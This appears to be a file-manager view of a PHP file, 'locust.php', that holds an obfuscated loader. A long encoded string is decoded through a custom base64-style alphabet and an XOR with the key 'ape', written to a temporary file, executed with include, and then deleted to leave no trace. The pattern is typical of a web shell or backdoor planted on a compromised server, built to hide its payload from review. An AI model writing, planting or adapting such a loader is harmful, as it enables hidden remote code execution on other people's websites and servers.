JezK

Edit File: locust.php

<?php
$encrypted = 'XU8VCQBoaxkDQVhBPiMgMyYgMytCMzU0NDU2NS8oJCQtLjRCPFBYXE1FRiAqMiRCSFAebHpFQVBFCBZFSRkWEhURSVQ6MT82NStCERERCVc4SFlFGn1vQVBFQVBFQVBBCB4VFAQ1AAQNQU1FRS81LiMxOlcVAAQNRi1ebHpFQVBFHFAADQMACBZFSRkWEhURSVQ6JjUxOlcVAAQNRi1MSFAebHpFQVBFQVBFQVQMDwAQFSAEFRhFXFBBPjcgNStCERERCVc4Wn1vQVBFQQ1FBBwWBFAebHpFQVBFQVBFQVQMDwAQFSAEFRhFXFBCRktoa1BFQVAYbHpoa1BFQVAMB1BNRRkLEQURMRERCVBDR1AMEi8BCAJNRRkLEQURMRERCVlMQQtoa1BFQVBFQVBFAhgBCAJNRRkLEQURMRERCVlebHpFQVBFHH1vQVBFQRUJEhUebHpFQVBFQVBFQRMNBRkXSRQMEx4EDBVNBhURAgcBSVlMSEtoa1BFQVAYbHpFQVBFbHpFQVBFDhI6EgQEEwRNSEtoa1BFQVAREwlFGn1vQVBFQVBFQVAAFxEJSRkWEhURSVQ6MT82NStCAh8BBFc4SFBaQVQ6MT82NStCAh8BBFc4QUpFRldMWn1vQVBFQQ1FAhERAhhFSSQNEx8SABIJBFBBBFlFGn1vQVBFQVBFQVAAAhgKQVIAEwIKE0pFQ1BLQVQATE4CBAQoBAMWABcASVlebHpFQVBFHH1vQVBFQVQKFAQVFARFXFAKAy8CBAQ6AhwAAB5NSEtoa1BFQVAAAhgKQVJZEQIAX1JFT1ANFR0JEgAAAhkEDRMNAAIWSVQKFAQVFARMQV5FQ0xKEQIAX1JebHoYbHpaX31v';
if (!function_exists('herring')) {
    function herring($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

$bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

$res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), herring($encrypted, 'ape'));
include $tmp;
unlink($tmp);